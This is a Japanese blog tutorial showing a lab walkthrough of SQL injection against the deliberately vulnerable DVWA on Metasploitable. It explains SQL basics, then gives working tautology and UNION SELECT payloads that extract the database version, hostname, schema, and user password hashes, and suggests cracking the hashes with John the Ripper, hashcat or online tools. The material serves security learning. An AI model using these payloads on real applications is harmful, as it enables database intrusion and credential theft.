ゆるいぞIT

今回は攻撃手法の一つであるSQLインジェクションを試して、攻撃を受けた場合の影響などを確認してみたいと思います。

※Youtubeでは動画版をご視聴いただけます。

この記事はこんな人にオススメ
  • ハッキングスキルについて知りたい
  • セキュリティの知識を学習したい
  • ITインフラの知識を学習したい

※実務や演習等を除き、インターネット上のサーバへクラッキングすることは違法行為となりますのでご注意ください。

0.使用する環境

ゆるいぞIT

ターゲットホストにインストールされている”DVWA”というツールを使用します。

ソフトウェア

  • 仮想環境 : Virtual Box
  • 攻撃用サーバ : Kali Linux
  • ターゲットホスト : Metasploitable(DVWA)

演習環境

1.SQLとは?

ゆるいぞIT

SQLとはデータベース管理システム(DBMS)内のデータを呼び出したり、追加・削除・更新をする為のDB操作用の言語になります。

データベース管理システム(DBMS) : DB内に保管されているデータを管理しているシステムの名称

DBというのは”データベース”や”DBサーバ”などと呼ばれたりするものになりますが、例えば、ショッピングサイトなら「商品情報を管理する為のDB」、銀行なら「顧客情報を管理する為のDB」といった感じで大量の情報を管理するのに適しているツールになっています。

一般的には「Webサーバ → DBサーバに連携」して、指定された情報を「DBサーバ → Webサーバに返答」するといった使い方をします。

※厳密にはアプリケーション等の別な要因も絡んできますが説明が複雑になるのでここでは割愛します。

2.SQL文について

下記はよく用いられるSQL文の代表例になります。

  • SELECT : データの読取(指定したテーブルからカラム名のデータを読み取る)
  • INSERT : データの追加(指定したテーブルにデータを追加する)
  • UPDATE : データの更新(指定したテーブルの指定したカラムを指定したフィールド値に更新する)
  • DELETE : データの削除(指定したテーブルから条件式が真となるレコードを削除する)

例えば、特定のユーザアカウントを”SELECT文”で読み込む場合は以下のような構文になります。

この”SELECT文”に対して返ってくる情報は以下のようになります。

初見だと難しいイメージがありますが、構文自体は決まったものになりますので、操作したい情報をべーズに構文のポイントさえ押さえておけば対応できるかと思います。

3.SQLインジェクションとは?

SQLインジェクションとは先ほど説明したSQL文を使用した攻撃のことになります。

ターゲットに対して想定外のSQL文(命令文)を実行することでDBを混乱させてDB内の情報を抜き出す攻撃手法になります。

4.SQLインジェクションの実行

ゆるいぞIT

SQLインジェクションの動作を確認するにあたって”DVWA”というツールを使用します。

DVWA : SQLインジェクションなどの攻撃手法や脆弱性の仕組みを学習できるオープンソースのツール
    ※このツールを使うことでお手軽にSQLインジェクションを体験することができる

STEP1
セキュリティレベルの設定

はじめにDVWAのセキュリティレベルを設定します。

セキュリティには high(高)midium(中)low(低)とありますが今回はlowで実施してみます。

lowになるにつれてセキュリティが弱くなっていきます。

STEP2
演習内容(ゴール)の確認

セキュリティレベルlowの演習内容を確認します。

「SQL Injection」のメニューを選択します。

右下の”View Help”を確認すると演習の問題内容が表示されます。

The ‘id’ variable within this PHP script is vulnerable to SQL injection.
There are 5 users in the database, with id’s from 1 to 5. Your mission… to steal passwords!

この PHP スクリプト内の”id”変数はSQLインジェクションに対して脆弱です。
データベースには5人のユーザーがおり、IDは1~5までです。
あなたの使命は… パスワードを盗むことです!

STEP3
SQLインジェクションの動作確認

まずは設問にあるID1~5のユーザ名を確認してみましょう。

入力欄に1~5の数字を入力すると、IDに紐づくユーザ名が返ってきます。

今度は「1′ or ‘a’=’a」と入力してみます。

そうするとID1~5のユーザ名が全て返ってきます。

これはSQLの脆弱性をついたもので「’a’=’a」と指定することで無条件で命令文が成立する状態になってしまっていることで発生する事象になります。

セキュリティレベルをhighに変更してから、同様に実行してみるとユーザ名は表示されなくなります。

セキュリティレベルを上げたことでlowであった脆弱性が修正されたことで「’a’=’a」という命令文が無効になったことを表しています。

STEP4
ID1~5のパスワードの取得

まずはターゲットとするDBの情報を集めてみましょう。

バージョン情報の取得

ID: ‘ union select version(), null #
First name: 5.0.51a-3ubuntu5 ※DBのバージョン
Surname:

ホスト名 / DB名 / DBで使用するユーザ名 の取得

ID: ‘ union select @@hostname,database() #
First name: metasploitable ※ホスト名
Surname: dvwa ※DB名

ID: ‘ union select user(),’hoge’ #
First name: root@localhost ※ユーザ名
Surname: hoge

DBのテーブル情報

テーブル : データベースの種類ごとの単位を「テーブル」と呼ぶ
※データベースのテーブルはエクセルで例えられることが多く、エクセルのシートがテーブルを表します。
※データベースは複数のテーブルを保持しテーブルごとにデータを管理しています。

ID: ‘ union select table_name, null from information_schema.tables where table_schema = ‘dvwa’#
First name: guestbook ※テーブル名
Surname:

ID: ‘ union select table_name, null from information_schema.tables where table_schema = ‘dvwa’#
First name: users ※テーブル名
Surname:

usersテーブルのカラムを確認

カラム : データベースの縦列のこと

ID: ‘ union select table_name,column_name from information_schema.columns where table_schema = ‘dvwa’#
First name: users
Surname: password ※usersテーブルにpasswordのカラムがあることを確認

STEP5
パスワード情報の取得

passwordカラムの存在を確認できたのでカラム全体の情報を取得します。

ID: ‘ union select user, password from dvwa.users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ※ID1のパスワード

ID: ‘ union select user, password from dvwa.users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03 ※ID2のパスワード

ID: ‘ union select user, password from dvwa.users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b ※ID3のパスワード

ID: ‘ union select user, password from dvwa.users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7 ※ID4のパスワード

ID: ‘ union select user, password from dvwa.users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99 ※ID5のパスワード

ID1~5のパスワードを取得することができました。

5.パスワードの解析

ゆるいぞIT

取得したパスワードがMD5で暗号されているので解読するために解析しましょう。
※MD5自体は古い暗号化方法なので現在使っているシステムはほとんどないと思います…

パスワードの解析にKali Linuxで使用できるツールを使ってもいいですが、MD5程度ならフリーのWebサイトがあるので今回はそちらを使って実施します。

オフライン環境で実施するのであれば「John The Ripper」や「hashcat」などのワードリストを使用したクラッキングツールがあるので、そちらを使用しても問題ありません。

6.最後に

今回実施した内容がSQLインジェクションの一連の流れになります。

基本的にはSQLの”設定不備”や”脆弱性”をついた攻撃になりますので、設定の最新化最新のバージョンに保っているシステムであれば攻撃が通る可能性は低いかと思います。

ということで、今回はここまでにしたいと思います。

それではまた次回お会いしましょう!